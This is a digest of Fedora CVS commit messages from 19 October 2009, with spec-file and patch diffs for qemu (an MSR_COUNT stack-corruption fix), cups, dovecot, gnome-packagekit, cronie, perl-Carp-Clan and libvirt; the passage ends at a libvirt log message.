In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11742

Modified Files:
	qemu.spec 
Added Files:
	qemu-fix-msr-count-potential-segfault.patch 
Log Message:
* Mon Oct 19 2009 Mark McLoughlin <markmc at redhat.com> - 2:0.11.0-7
- Fix potential segfault from too small MSR_COUNT (#528901)


qemu-fix-msr-count-potential-segfault.patch:
 qemu-kvm-x86.c |    7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

--- NEW FILE qemu-fix-msr-count-potential-segfault.patch ---
>From 7834349cfcc68b946c0d241ffd99c598857e489b Mon Sep 17 00:00:00 2001
From: Eduardo Habkost <ehabkost at redhat.com>
Date: Wed, 14 Oct 2009 15:02:27 -0300
Subject: [PATCH] fix MSR_COUNT for kvm_arch_save_regs()

A new register was added to the load/save list on commit
d283d5a65a2bdcc570065267be21848bd6fe3d78, but MSR_COUNT was not updated, leading
to potential stack corruption on kvm_arch_save_regs().

The following registers are saved by kvm_arch_save_regs():

 1) MSR_IA32_SYSENTER_CS
 2) MSR_IA32_SYSENTER_ESP
 3) MSR_IA32_SYSENTER_EIP
 4) MSR_STAR
 5) MSR_IA32_TSC
 6) MSR_VM_HSAVE_PA
 7) MSR_CSTAR (x86_64 only)
 8) MSR_KERNELGSBASE (x86_64 only)
 9) MSR_FMASK (x86_64 only)
10) MSR_LSTAR (x86_64 only)

(cherry picked from commit e7e5448ba387adc20be1cf08411a5b526d684299)

Signed-off-by: Eduardo Habkost <ehabkost at redhat.com>
Signed-off-by: Marcelo Tosatti <mtosatti at redhat.com>
Signed-off-by: Mark McLoughlin <markmc at redhat.com>
Fedora-patch: qemu-fix-msr-count-potential-segfault.patch
---
 qemu-kvm-x86.c |    6 ++++--
 1 files changed, 4 insertions(+), 2 deletions(-)

diff --git a/qemu-kvm-x86.c b/qemu-kvm-x86.c
index 492dbc5..d5436b6 100644
--- a/qemu-kvm-x86.c
+++ b/qemu-kvm-x86.c
@@ -847,9 +847,9 @@ static int get_msr_entry(struct kvm_msr_entry *entry, CPUState *env)
 }
 
 #ifdef TARGET_X86_64
-#define MSR_COUNT 9
+#define MSR_COUNT 10
 #else
-#define MSR_COUNT 5
+#define MSR_COUNT 6
 #endif
 
 static void set_v8086_seg(struct kvm_segment *lhs, const SegmentCache *rhs)
@@ -991,6 +991,7 @@ void kvm_arch_load_regs(CPUState *env)
 
     /* msrs */
     n = 0;
+    /* Remember to increase MSR_COUNT if you add new registers below */
     set_msr_entry(&msrs[n++], MSR_IA32_SYSENTER_CS,  env->sysenter_cs);
     set_msr_entry(&msrs[n++], MSR_IA32_SYSENTER_ESP, env->sysenter_esp);
     set_msr_entry(&msrs[n++], MSR_IA32_SYSENTER_EIP, env->sysenter_eip);
@@ -1166,6 +1167,7 @@ void kvm_arch_save_regs(CPUState *env)
 
     /* msrs */
     n = 0;
+    /* Remember to increase MSR_COUNT if you add new registers below */
     msrs[n++].index = MSR_IA32_SYSENTER_CS;
     msrs[n++].index = MSR_IA32_SYSENTER_ESP;
     msrs[n++].index = MSR_IA32_SYSENTER_EIP;
-- 
1.6.2.5



Index: qemu.spec
===================================================================
RCS file: /cvs/pkgs/rpms/qemu/F-12/qemu.spec,v
retrieving revision 1.143
retrieving revision 1.144
diff -u -p -r1.143 -r1.144
--- qemu.spec	14 Oct 2009 15:57:53 -0000	1.143
+++ qemu.spec	19 Oct 2009 10:33:42 -0000	1.144
@@ -1,7 +1,7 @@
 Summary: QEMU is a FAST! processor emulator
 Name: qemu
 Version: 0.11.0
-Release: 6%{?dist}
+Release: 7%{?dist}
 # Epoch because we pushed a qemu-1.0 package
 Epoch: 2
 License: GPLv2+ and LGPLv2+ and BSD
@@ -49,6 +49,9 @@ Patch08: qemu-improve-error-reporting-on
 # Fix fs errors with virtio and qcow2 backing file (#524734)
 Patch09: qemu-fix-qcow2-backing-file-with-virtio.patch
 
+# Fix potential segfault from too small MSR_COUNT (#528901)
+Patch10: qemu-fix-msr-count-potential-segfault.patch
+
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires: SDL-devel zlib-devel which texi2html gnutls-devel cyrus-sasl-devel
 BuildRequires: rsync dev86 iasl
@@ -245,6 +248,7 @@ such as kvmtrace and kvm_stat.
 %patch07 -p1
 %patch08 -p1
 %patch09 -p1
+%patch10 -p1
 
 %build
 # --build-id option is used fedora 8 onwards for giving info to the debug packages.
@@ -526,6 +530,9 @@ fi
 %{_mandir}/man1/qemu-img.1*
 
 %changelog
+* Mon Oct 19 2009 Mark McLoughlin <markmc at redhat.com> - 2:0.11.0-7
+- Fix potential segfault from too small MSR_COUNT (#528901)
+
 * Fri Oct  9 2009 Mark McLoughlin <markmc at redhat.com> - 2:0.11.0-6
 - Fix fs errors with virtio and qcow2 backing file (#524734)
 - Fix ksm initscript errors on kernel missing ksm (#527653)



From markmc at fedoraproject.org  Mon Oct 19 10:33:43 2009
From: markmc at fedoraproject.org (Mark McLoughlin)
Date: Mon, 19 Oct 2009 10:33:43 +0000 (UTC)
Subject: rpms/qemu/F-11 qemu-fix-msr-count-potential-segfault.patch, NONE,
	1.1 qemu.spec, 1.106, 1.107
Message-ID: <20091019103343.7BBF811C00DC@cvs1.fedora.phx.redhat.com>

Author: markmc

Update of /cvs/pkgs/rpms/qemu/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11772

Modified Files:
	qemu.spec 
Added Files:
	qemu-fix-msr-count-potential-segfault.patch 
Log Message:
* Mon Oct 19 2009 Mark McLoughlin <markmc at redhat.com> - 2:0.10.6-8
- Fix potential segfault from too small MSR_COUNT (#528901)


qemu-fix-msr-count-potential-segfault.patch:
 qemu-kvm-x86.c |    7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

--- NEW FILE qemu-fix-msr-count-potential-segfault.patch ---
>From 3ea6ac6fde5cd46d5d8593a493a75eb29e2ccc9b Mon Sep 17 00:00:00 2001
From: Eduardo Habkost <ehabkost at redhat.com>
Date: Wed, 14 Oct 2009 15:02:27 -0300
Subject: [PATCH] fix MSR_COUNT for kvm_arch_save_regs()

A new register was added to the load/save list on commit
d283d5a65a2bdcc570065267be21848bd6fe3d78, but MSR_COUNT was not updated, leading
to potential stack corruption on kvm_arch_save_regs().

The following registers are saved by kvm_arch_save_regs():

 1) MSR_IA32_SYSENTER_CS
 2) MSR_IA32_SYSENTER_ESP
 3) MSR_IA32_SYSENTER_EIP
 4) MSR_STAR
 5) MSR_IA32_TSC
 6) MSR_VM_HSAVE_PA
 7) MSR_CSTAR (x86_64 only)
 8) MSR_KERNELGSBASE (x86_64 only)
 9) MSR_FMASK (x86_64 only)
10) MSR_LSTAR (x86_64 only)

(cherry picked from commit e7e5448ba387adc20be1cf08411a5b526d684299)

Signed-off-by: Eduardo Habkost <ehabkost at redhat.com>
Signed-off-by: Marcelo Tosatti <mtosatti at redhat.com>
Signed-off-by: Mark McLoughlin <markmc at redhat.com>
Fedora-patch: qemu-fix-msr-count-potential-segfault.patch
---
 qemu-kvm-x86.c |    6 ++++--
 1 files changed, 4 insertions(+), 2 deletions(-)

diff --git a/qemu-kvm-x86.c b/qemu-kvm-x86.c
index 8e0f0b2..89fe77c 100644
--- a/qemu-kvm-x86.c
+++ b/qemu-kvm-x86.c
@@ -116,9 +116,9 @@ static int get_msr_entry(struct kvm_msr_entry *entry, CPUState *env)
 }
 
 #ifdef TARGET_X86_64
-#define MSR_COUNT 9
+#define MSR_COUNT 10
 #else
-#define MSR_COUNT 5
+#define MSR_COUNT 6
 #endif
 
 static void set_v8086_seg(struct kvm_segment *lhs, const SegmentCache *rhs)
@@ -260,6 +260,7 @@ void kvm_arch_load_regs(CPUState *env)
 
     /* msrs */
     n = 0;
+    /* Remember to increase MSR_COUNT if you add new registers below */
     set_msr_entry(&msrs[n++], MSR_IA32_SYSENTER_CS,  env->sysenter_cs);
     set_msr_entry(&msrs[n++], MSR_IA32_SYSENTER_ESP, env->sysenter_esp);
     set_msr_entry(&msrs[n++], MSR_IA32_SYSENTER_EIP, env->sysenter_eip);
@@ -435,6 +436,7 @@ void kvm_arch_save_regs(CPUState *env)
 
     /* msrs */
     n = 0;
+    /* Remember to increase MSR_COUNT if you add new registers below */
     msrs[n++].index = MSR_IA32_SYSENTER_CS;
     msrs[n++].index = MSR_IA32_SYSENTER_ESP;
     msrs[n++].index = MSR_IA32_SYSENTER_EIP;
-- 
1.6.2.5



Index: qemu.spec
===================================================================
RCS file: /cvs/pkgs/rpms/qemu/F-11/qemu.spec,v
retrieving revision 1.106
retrieving revision 1.107
diff -u -p -r1.106 -r1.107
--- qemu.spec	5 Oct 2009 14:39:50 -0000	1.106
+++ qemu.spec	19 Oct 2009 10:33:43 -0000	1.107
@@ -1,7 +1,7 @@
 Summary: QEMU is a FAST! processor emulator
 Name: qemu
 Version: 0.10.6
-Release: 7%{?dist}
+Release: 8%{?dist}
 # Epoch because we pushed a qemu-1.0 package
 Epoch: 2
 License: GPLv2+ and LGPLv2+ and BSD
@@ -37,6 +37,7 @@ Patch16: qemu-ppc-on-ppc.patch
 Patch17: qemu-use-statfs-to-determine-huge-page-size.patch
 Patch18: qemu-allow-pulseaudio-to-be-the-default.patch
 Patch19: qemu-fix-virtio-net-gso-support.patch
+Patch20: qemu-fix-msr-count-potential-segfault.patch
 
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires: SDL-devel zlib-devel which texi2html gnutls-devel cyrus-sasl-devel
@@ -243,6 +244,7 @@ such as kvmtrace and kvm_stat.
 %patch17 -p1
 %patch18 -p1
 %patch19 -p1
+%patch20 -p1
 
 %build
 # systems like rhel build system does not have a recent enough linker so
@@ -485,6 +487,9 @@ fi
 %{_mandir}/man1/qemu-img.1*
 
 %changelog
+* Mon Oct 19 2009 Mark McLoughlin <markmc at redhat.com> - 2:0.10.6-8
+- Fix potential segfault from too small MSR_COUNT (#528901)
+
 * Mon Oct  5 2009 Mark McLoughlin <markmc at redhat.com> - 2:0.10.6-7
 - Use rtl8029 PXE rom for ne2k_pci, not ne (#526243)
 - Also, replace the etherboot-zroms-kvm pkg requires with file-based requires



From mmaslano at fedoraproject.org  Mon Oct 19 10:49:05 2009
From: mmaslano at fedoraproject.org (=?utf-8?b?TWFyY2VsYSBNYcWhbMOhxYhvdsOh?=)
Date: Mon, 19 Oct 2009 10:49:05 +0000 (UTC)
Subject: rpms/perl-Carp-Clan/devel .cvsignore, 1.5, 1.6 perl-Carp-Clan.spec, 
	1.20, 1.21 sources, 1.5, 1.6
Message-ID: <20091019104905.E05A711C00DC@cvs1.fedora.phx.redhat.com>

Author: mmaslano

Update of /cvs/pkgs/rpms/perl-Carp-Clan/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14793

Modified Files:
	.cvsignore perl-Carp-Clan.spec sources 
Log Message:
* Mon Oct 19 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> - 6.031
- update to 6.03



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Carp-Clan/devel/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	22 Jul 2008 14:59:28 -0000	1.5
+++ .cvsignore	19 Oct 2009 10:49:05 -0000	1.6
@@ -1 +1 @@
-Carp-Clan-6.00.tar.gz
+Carp-Clan-6.03.tar.gz


Index: perl-Carp-Clan.spec
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Carp-Clan/devel/perl-Carp-Clan.spec,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- perl-Carp-Clan.spec	26 Jul 2009 04:07:50 -0000	1.20
+++ perl-Carp-Clan.spec	19 Oct 2009 10:49:05 -0000	1.21
@@ -1,6 +1,6 @@
 Name:           perl-Carp-Clan
-Version:        6.00
-Release:        5%{?dist}
+Version:        6.03
+Release:        1%{?dist}
 Summary:        Perl module to print improved warning messages
 
 Group:          Development/Libraries
@@ -66,6 +66,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct 19 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> - 6.031
+- update to 6.03
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 6.00-5
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Carp-Clan/devel/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	22 Jul 2008 14:59:28 -0000	1.5
+++ sources	19 Oct 2009 10:49:05 -0000	1.6
@@ -1 +1 @@
-3a1ea3da42ee62e4db20a8fbf80a74bf  Carp-Clan-6.00.tar.gz
+b191ea928c6b97898008e1eeb0416845  Carp-Clan-6.03.tar.gz



From mmaslano at fedoraproject.org  Mon Oct 19 10:49:20 2009
From: mmaslano at fedoraproject.org (=?utf-8?b?TWFyY2VsYSBNYcWhbMOhxYhvdsOh?=)
Date: Mon, 19 Oct 2009 10:49:20 +0000 (UTC)
Subject: rpms/cronie/devel cronie.spec,1.27,1.28
Message-ID: <20091019104920.833B811C00DC@cvs1.fedora.phx.redhat.com>

Author: mmaslano

Update of /cvs/pkgs/rpms/cronie/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14927

Modified Files:
	cronie.spec 
Log Message:
* Mon Oct 19 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> - 1.4.2-2
- 529632 service crond stop returns appropriate value



Index: cronie.spec
===================================================================
RCS file: /cvs/pkgs/rpms/cronie/devel/cronie.spec,v
retrieving revision 1.27
retrieving revision 1.28
diff -u -p -r1.27 -r1.28
--- cronie.spec	12 Oct 2009 10:15:28 -0000	1.27
+++ cronie.spec	19 Oct 2009 10:49:20 -0000	1.28
@@ -6,11 +6,12 @@
 Summary: Cron daemon for executing programs at set times
 Name: cronie
 Version: 1.4.2
-Release: 1%{?dist}
+Release: 2%{?dist}
 License: MIT and BSD and GPLv2
 Group: System Environment/Base
 URL: https://fedorahosted.org/cronie
 Source0: https://fedorahosted.org/releases/c/r/cronie/%{name}-%{version}.tar.gz
+Patch0:	cronie-service-stop.patch
 Buildroot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 Requires: syslog, bash >= 2.0
@@ -58,6 +59,7 @@ overloaded in settings.
 
 %prep
 %setup -q
+%patch0 -p1
 
 %build
 
@@ -173,6 +175,9 @@ cp -a /var/lock/subsys/crond /var/lock/s
 %{_mandir}/man8/anacron.*
 
 %changelog
+* Mon Oct 19 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> - 1.4.2-2
+- 529632 service crond stop returns appropriate value
+
 * Mon Oct 12 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> - 1.4.2-1
 - new release
 



From rhughes at fedoraproject.org  Mon Oct 19 10:49:33 2009
From: rhughes at fedoraproject.org (Richard Hughes)
Date: Mon, 19 Oct 2009 10:49:33 +0000 (UTC)
Subject: rpms/gnome-packagekit/F-12 gnome-packagekit.spec,1.101,1.102
Message-ID: <20091019104933.CB20D11C00DC@cvs1.fedora.phx.redhat.com>

Author: rhughes

Update of /cvs/pkgs/rpms/gnome-packagekit/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15049

Modified Files:
	gnome-packagekit.spec 
Log Message:
* Mon Oct 19 2009 Richard Hughes  <rhughes at redhat.com> - 2.28.1-1
- Update to 2.28.1
- Translation updates
- Simulate removal correctly to fix removing packages
- Ignore cleanup and finished packages when we a simulating remove or install
- If command line contains (deleted) the original binary is invalid. Fixes #524873
- Never show the role text in the GpkWatch tooltip
- Run the helpers with interaction 'hide-finished,hide-warnings' as we are handling failure



Index: gnome-packagekit.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-packagekit/F-12/gnome-packagekit.spec,v
retrieving revision 1.101
retrieving revision 1.102
diff -u -p -r1.101 -r1.102
--- gnome-packagekit.spec	28 Sep 2009 15:32:14 -0000	1.101
+++ gnome-packagekit.spec	19 Oct 2009 10:49:33 -0000	1.102
@@ -5,7 +5,6 @@
 %define gtk2_version			2.16.0
 %define libnotify_version		0.4.3
 %define unique_version			1.0.0
-%define devicekit_version		003
 %define devicekit_power_version		007
 %define libcanberra_version		0.10
 %define alphatag			20090928
@@ -15,13 +14,13 @@
 Summary:   Session applications to manage packages
 Name:      gnome-packagekit
 Version:   2.28.1
-Release:   0.1.%{?alphatag}git%{?dist}
-#Release:   1%{?dist}
+#Release:   0.1.%{?alphatag}git%{?dist}
+Release:   1%{?dist}
 License:   GPLv2+
 Group:     Applications/System
 URL:       http://www.packagekit.org
-#Source0:   http://download.gnome.org/sources/gnome-packagekit/2.28/%{name}-%{version}.tar.bz2
-Source0:   http://download.gnome.org/sources/gnome-packagekit/2.28/%{name}-%{version}-%{?alphatag}.tar.gz
+Source0:   http://download.gnome.org/sources/gnome-packagekit/2.28/%{name}-%{version}.tar.bz2
+#Source0:   http://download.gnome.org/sources/gnome-packagekit/2.28/%{name}-%{version}-%{?alphatag}.tar.gz
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 Requires:  glib2 >= %{glib2_version}
@@ -71,7 +70,6 @@ BuildRequires: xorg-x11-proto-devel
 BuildRequires: fontconfig-devel
 BuildRequires: libcanberra-devel >= %{libcanberra_version}
 BuildRequires: libgudev1-devel
-BuildRequires: DeviceKit-devel >= %{devicekit_version}
 BuildRequires: DeviceKit-power-devel >= %{devicekit_power_version}
 
 %description
@@ -88,8 +86,8 @@ Requires: %{name} = %{version}-%{release
 Extra GNOME applications for using PackageKit that are not normally needed.
 
 %prep
-%setup -q -n %{?name}-%{?version}-%{?alphatag}
-#%setup -q
+#%setup -q -n %{?name}-%{?version}-%{?alphatag}
+%setup -q
 
 %build
 %configure --disable-scrollkeeper --disable-schemas-install
@@ -223,6 +221,15 @@ update-mime-database %{_datadir}/mime &>
 %{_datadir}/applications/gpk-log.desktop
 
 %changelog
+* Mon Oct 19 2009 Richard Hughes  <rhughes at redhat.com> - 2.28.1-1
+- Update to 2.28.1
+- Translation updates
+- Simulate removal correctly to fix removing packages
+- Ignore cleanup and finished packages when we a simulating remove or install
+- If command line contains (deleted) the original binary is invalid. Fixes #524873
+- Never show the role text in the GpkWatch tooltip
+- Run the helpers with interaction 'hide-finished,hide-warnings' as we are handling failure
+
 * Mon Sep 28 2009 Richard Hughes  <rhughes at redhat.com> - 2.28.0-0.1.20090928git
 - New snapshot from the gnome-2-28 branch
 - Many updated translations.



From rhughes at fedoraproject.org  Mon Oct 19 10:57:38 2009
From: rhughes at fedoraproject.org (Richard Hughes)
Date: Mon, 19 Oct 2009 10:57:38 +0000 (UTC)
Subject: rpms/gnome-packagekit/F-12 .cvsignore,1.57,1.58 sources,1.58,1.59
Message-ID: <20091019105738.A6A9A11C00DC@cvs1.fedora.phx.redhat.com>

Author: rhughes

Update of /cvs/pkgs/rpms/gnome-packagekit/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17211

Modified Files:
	.cvsignore sources 
Log Message:
* Mon Oct 19 2009 Richard Hughes  <rhughes at redhat.com> - 2.28.1-1
- Update to 2.28.1
- Translation updates
- Simulate removal correctly to fix removing packages
- Ignore cleanup and finished packages when we a simulating remove or install
- If command line contains (deleted) the original binary is invalid. Fixes #524873
- Never show the role text in the GpkWatch tooltip
- Run the helpers with interaction 'hide-finished,hide-warnings' as we are handling failure



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-packagekit/F-12/.cvsignore,v
retrieving revision 1.57
retrieving revision 1.58
diff -u -p -r1.57 -r1.58
--- .cvsignore	28 Sep 2009 15:32:14 -0000	1.57
+++ .cvsignore	19 Oct 2009 10:57:38 -0000	1.58
@@ -1 +1 @@
-gnome-packagekit-2.28.1-20090928.tar.gz
+gnome-packagekit-2.28.1.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-packagekit/F-12/sources,v
retrieving revision 1.58
retrieving revision 1.59
diff -u -p -r1.58 -r1.59
--- sources	28 Sep 2009 15:32:14 -0000	1.58
+++ sources	19 Oct 2009 10:57:38 -0000	1.59
@@ -1 +1 @@
-5ee4201b8d4aad9b0617e4426eb726bf  gnome-packagekit-2.28.1-20090928.tar.gz
+bfef5e5f8911adbb19b699afb0db4b14  gnome-packagekit-2.28.1.tar.bz2



From twaugh at fedoraproject.org  Mon Oct 19 11:06:27 2009
From: twaugh at fedoraproject.org (Tim Waugh)
Date: Mon, 19 Oct 2009 11:06:27 +0000 (UTC)
Subject: rpms/cups/devel cups-str3380.patch,NONE,1.1 cups.spec,1.527,1.528
Message-ID: <20091019110627.22FD211C00DC@cvs1.fedora.phx.redhat.com>

Author: twaugh

Update of /cvs/pkgs/rpms/cups/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19550

Modified Files:
	cups.spec 
Added Files:
	cups-str3380.patch 
Log Message:
* Mon Oct 19 2009 Tim Waugh <twaugh at redhat.com> 1:1.4.1-11
- Fixed German translation (bug #529575, STR #3380).


cups-str3380.patch:
 index.html.in |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE cups-str3380.patch ---
diff -up cups-1.4.1/doc/de/index.html.in.str3380 cups-1.4.1/doc/de/index.html.in
--- cups-1.4.1/doc/de/index.html.in.str3380	2009-04-09 22:22:42.000000000 +0100
+++ cups-1.4.1/doc/de/index.html.in	2009-10-19 12:04:30.352768816 +0100
@@ -17,7 +17,7 @@ SRC="/images/left.gif" WIDTH="64" HEIGHT
 <TD CLASS="unsel"><A HREF="/admin">&nbsp;&nbsp;Verwaltung&nbsp;&nbsp;</A></TD>
 <TD CLASS="unsel"><A HREF="/classes/">&nbsp;&nbsp;Klassen&nbsp;&nbsp;</A></TD>
 <TD CLASS="unsel"><A HREF="/help/">&nbsp;&nbsp;On-Line&nbsp;Hilfe&nbsp;&nbsp;</A></TD>
-<TD CLASS="unsel"><A HREF="/jobs/">&nbsp;&nbsp;Auftr&uuml;ge&nbsp;&nbsp;</A></TD>
+<TD CLASS="unsel"><A HREF="/jobs/">&nbsp;&nbsp;Auftr&auml;ge&nbsp;&nbsp;</A></TD>
 <TD CLASS="unsel"><A HREF="/printers/">&nbsp;&nbsp;Drucker&nbsp;&nbsp;</A></TD>
 <TD CLASS="unsel" WIDTH="100%"><FORM ACTION="/help/" METHOD="GET"><INPUT
 TYPE="SEARCH" NAME="QUERY" SIZE="20" PLACEHOLDER="Search Help"


Index: cups.spec
===================================================================
RCS file: /cvs/pkgs/rpms/cups/devel/cups.spec,v
retrieving revision 1.527
retrieving revision 1.528
diff -u -p -r1.527 -r1.528
--- cups.spec	15 Oct 2009 12:45:35 -0000	1.527
+++ cups.spec	19 Oct 2009 11:06:26 -0000	1.528
@@ -9,7 +9,7 @@
 Summary: Common Unix Printing System
 Name: cups
 Version: 1.4.1
-Release: 10%{?dist}
+Release: 11%{?dist}
 License: GPLv2
 Group: System Environment/Daemons
 Source: http://ftp.easysw.com/pub/cups/1.4.0/cups-%{version}-source.tar.bz2
@@ -34,6 +34,7 @@ Patch6: cups-banners.patch
 Patch7: cups-serverbin-compat.patch
 Patch8: cups-no-export-ssllibs.patch
 Patch9: cups-paps.patch
+Patch10: cups-str3380.patch
 Patch11: cups-direct-usb.patch
 Patch12: cups-lpr-help.patch
 Patch13: cups-peercred.patch
@@ -193,6 +194,7 @@ gzip -n postscript.ppd
 %patch7 -p1 -b .serverbin-compat
 %patch8 -p1 -b .no-export-ssllibs
 %patch9 -p1 -b .paps
+%patch10 -p1 -b .str3380
 %patch11 -p1 -b .direct-usb
 %patch12 -p1 -b .lpr-help
 %patch13 -p1 -b .peercred
@@ -507,6 +509,9 @@ rm -rf $RPM_BUILD_ROOT
 %{php_extdir}/phpcups.so
 
 %changelog
+* Mon Oct 19 2009 Tim Waugh <twaugh at redhat.com> 1:1.4.1-11
+- Fixed German translation (bug #529575, STR #3380).
+
 * Thu Oct 15 2009 Tim Waugh <twaugh at redhat.com> 1:1.4.1-10
 - Don't ship pstoraster -- it is now provided by the ghostscript-cups
   package.



From mhlavink at fedoraproject.org  Mon Oct 19 11:15:11 2009
From: mhlavink at fedoraproject.org (Michal Hlavinka)
Date: Mon, 19 Oct 2009 11:15:11 +0000 (UTC)
Subject: rpms/dovecot/F-12 .cvsignore, 1.60, 1.61 dovecot.spec, 1.142,
	1.143 sources, 1.64, 1.65
Message-ID: <20091019111511.2A8E611C00DC@cvs1.fedora.phx.redhat.com>

Author: mhlavink

Update of /cvs/extras/rpms/dovecot/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22387

Modified Files:
	.cvsignore dovecot.spec sources 
Log Message:
update sieve to 0.1.13



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/dovecot/F-12/.cvsignore,v
retrieving revision 1.60
retrieving revision 1.61
diff -u -p -r1.60 -r1.61
--- .cvsignore	9 Oct 2009 19:03:06 -0000	1.60
+++ .cvsignore	19 Oct 2009 11:15:10 -0000	1.61
@@ -1,4 +1,4 @@
 dovecot-1.2.6.tar.gz
 dovecot-1.2-managesieve-0.11.9.tar.gz
 dovecot-1.2.6-managesieve-0.11.9.diff.gz
-dovecot-1.2-sieve-0.1.12.tar.gz
+dovecot-1.2-sieve-0.1.13.tar.gz


Index: dovecot.spec
===================================================================
RCS file: /cvs/extras/rpms/dovecot/F-12/dovecot.spec,v
retrieving revision 1.142
retrieving revision 1.143
diff -u -p -r1.142 -r1.143
--- dovecot.spec	13 Oct 2009 12:32:01 -0000	1.142
+++ dovecot.spec	19 Oct 2009 11:15:10 -0000	1.143
@@ -2,7 +2,7 @@ Summary: Secure imap and pop3 server
 Name: dovecot
 Epoch: 1
 Version: 1.2.6
-Release: 2%{?dist}
+Release: 3%{?dist}
 #dovecot itself is MIT, a few sources are PD, (manage)sieve is LGPLv2, perfect_maildir.pl is GPLv2+
 License: MIT and LGPLv2 and GPLv2+
 Group: System Environment/Daemons
@@ -15,7 +15,8 @@ Group: System Environment/Daemons
 
 %define build_sieve 1
 %define build_managesieve 1
-%define sieve_version 0.1.12
+%define ver4mansieve %{version}
+%define sieve_version 0.1.13
 %define sieve_name dovecot-1.2-sieve
 %define managesieve_version 0.11.9
 %define managesieve_name dovecot-1.2-managesieve
@@ -32,7 +33,7 @@ Source7: dovecot-REDHAT-FAQ.txt
 Source8: http://www.rename-it.nl/dovecot/1.2/%{sieve_name}-%{sieve_version}.tar.gz
 Source9: dovecot.sysconfig
 Source10: http://www.rename-it.nl/dovecot/1.2/%{managesieve_name}-%{managesieve_version}.tar.gz
-Source11: http://www.rename-it.nl/dovecot/1.2/dovecot-1.2.6-managesieve-%{managesieve_version}.diff.gz
+Source11: http://www.rename-it.nl/dovecot/1.2/dovecot-%{ver4mansieve}-managesieve-%{managesieve_version}.diff.gz
 
 # 3x Fedora specific
 Patch1: dovecot-1.1-default-settings.patch
@@ -436,6 +437,25 @@ fi
 
 
 %changelog
+* Mon Oct 19 2009 Michal Hlavinka <mhlavink at redhat.com> - 1:1.2.6-3
+- sieve updated to 0.1.13 which brings these changes:
+- Body extension: implemented proper handling of the :raw transform
+  and added various new tests to the test suite. However, :content
+  "multipart" and :content "message/rfc822" are still not working.
+- Fixed race condition occuring when multiple instances are saving the
+  same binary (patch by Timo Sirainen).
+- Body extension: don't give SKIP_BODY_BLOCK flag to message parser,
+  we want the body!
+- Fixed bugs in multiscript support; subsequent keep actions were not
+  always merged correctly and implicit side effects were not always
+  handled correctly.
+- Fixed a segfault bug in the sieve-test tool occuring when compile
+  fails.
+- Fixed segfault bug in action procesing. It was triggered while
+  merging side effects in duplicate actions.
+- Fixed bug in the Sieve plugin that caused it to try to stat() a NULL
+  path, yielding a 'Bad address' error.
+
 * Fri Oct 09 2009 Michal Hlavinka <mhlavink at redhat.com> - 1:1.2.6-2
 - fix init script for case when no action was specified
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/dovecot/F-12/sources,v
retrieving revision 1.64
retrieving revision 1.65
diff -u -p -r1.64 -r1.65
--- sources	9 Oct 2009 19:03:07 -0000	1.64
+++ sources	19 Oct 2009 11:15:10 -0000	1.65
@@ -1,4 +1,4 @@
 807666f1a112e7379c4dbb57c9ce4899  dovecot-1.2.6.tar.gz
 923d4965e0b357db493f3b2cb106d8d7  dovecot-1.2-managesieve-0.11.9.tar.gz
 615d5d1ad843654384ca11cf523c2bbc  dovecot-1.2.6-managesieve-0.11.9.diff.gz
-8749f26606c4563f0676bacc44e89ca2  dovecot-1.2-sieve-0.1.12.tar.gz
+6151ab50e24abc0384358b1618c8048f  dovecot-1.2-sieve-0.1.13.tar.gz



From markmc at fedoraproject.org  Mon Oct 19 11:15:16 2009
From: markmc at fedoraproject.org (Mark McLoughlin)
Date: Mon, 19 Oct 2009 11:15:16 +0000 (UTC)
Subject: rpms/libvirt/F-11
	libvirt-fix-selinux-problem-with-images-on-nfs.patch, NONE,
	1.1 libvirt-0.6.2-svirt-sound.patch, 1.5, 1.6 libvirt.spec,
	1.142, 1.143
Message-ID: <20091019111516.9AB8011C00DC@cvs1.fedora.phx.redhat.com>

Author: markmc

Update of /cvs/pkgs/rpms/libvirt/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22465

Modified Files:
	libvirt-0.6.2-svirt-sound.patch libvirt.spec 
Added Files:
	libvirt-fix-selinux-problem-with-images-on-nfs.patch 
Log Message:
* Mon Oct 19 2009 Mark McLoughlin <markmc at redhat.com> - 0.6.2-19
- Ignore re-labelling errors on NFS (#517157)


